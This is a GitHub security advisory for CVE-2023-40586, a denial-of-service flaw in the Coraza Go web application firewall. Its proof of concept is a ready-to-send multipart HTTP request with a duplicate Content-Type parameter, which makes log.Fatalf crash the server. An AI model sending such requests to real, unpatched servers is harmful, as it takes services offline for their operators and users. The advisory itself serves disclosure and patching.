GitHub Advisoryadvisory · Go
GHSA-c2pj-v37r-2p6h Coraza has potential denial of service vulnerability
HIGH
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- Aliases
- CVE-2023-40586
- Ecosystem
- Go
- Packages
- github.com/corazawaf/coraza/v3, github.com/corazawaf/coraza/v2
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400
- Reviewed
- 2023-06-26
Affected packages
• Go github.com/corazawaf/coraza/v3: >= 3.0.0, < 3.0.1 → fixed in 3.0.1
• Go github.com/corazawaf/coraza/v2: >= 2.0.0, <= 2.0.1 (no fix yet)
Description
Summary
Due to the misuse of `log.Fatalf`, the application using coraza crashed after receiving crafted requests from attackers.
Details
https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29
The bodyprocessors of multipart uses `log.Fatalf` to handle errors from the `mime.ParseMediaType`, but `log.Fatalf` calls `os.Exit` directly after logging the error.
https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291
This means that the application will immediately crash after receiving a malicious request that triggers an error in `mime.ParseMediaType`.
PoC
The server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server
After sending this request
```
POST / HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: curl/8.1.2
Accept: */*
Content-Length: 199
Content-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2
Connection: close
--------------------------5fa6351b877326a1
Content-Disposition: form-data; name="file"; filename="123"
Content-Type: application/octet-stream
123
--------------------------5fa6351b877326a1--
```
The server will crash immediately. The `a=1; a=2` in `Content-Type` makes `mime: duplicate parameter name` error.
Impact
I believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.
Mitigation
The error from `mime.ParseMediaType` should return directly.
Related
Alias · CVE (1)
- CVE-2023-40586 OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness
References
- https://github.com/corazawaf/coraza/security/advisories/GHSA-c2pj-v37r-2p6h web
- https://nvd.nist.gov/vuln/detail/CVE-2023-40586 advisory
- https://github.com/corazawaf/coraza-caddy/issues/48 web
- https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec web
- https://github.com/corazawaf/coraza/commit/a5239ba3ce839e14d9b4f9486e1b4a403dcade8c web
- https://github.com/corazawaf/coraza/commit/e1b119b83e12c64f0957e00e8cad45a1b5f012f8 web
- https://github.com/corazawaf/coraza package
- https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29 web
- https://github.com/corazawaf/coraza/releases/tag/v3.0.1 web
- https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291 web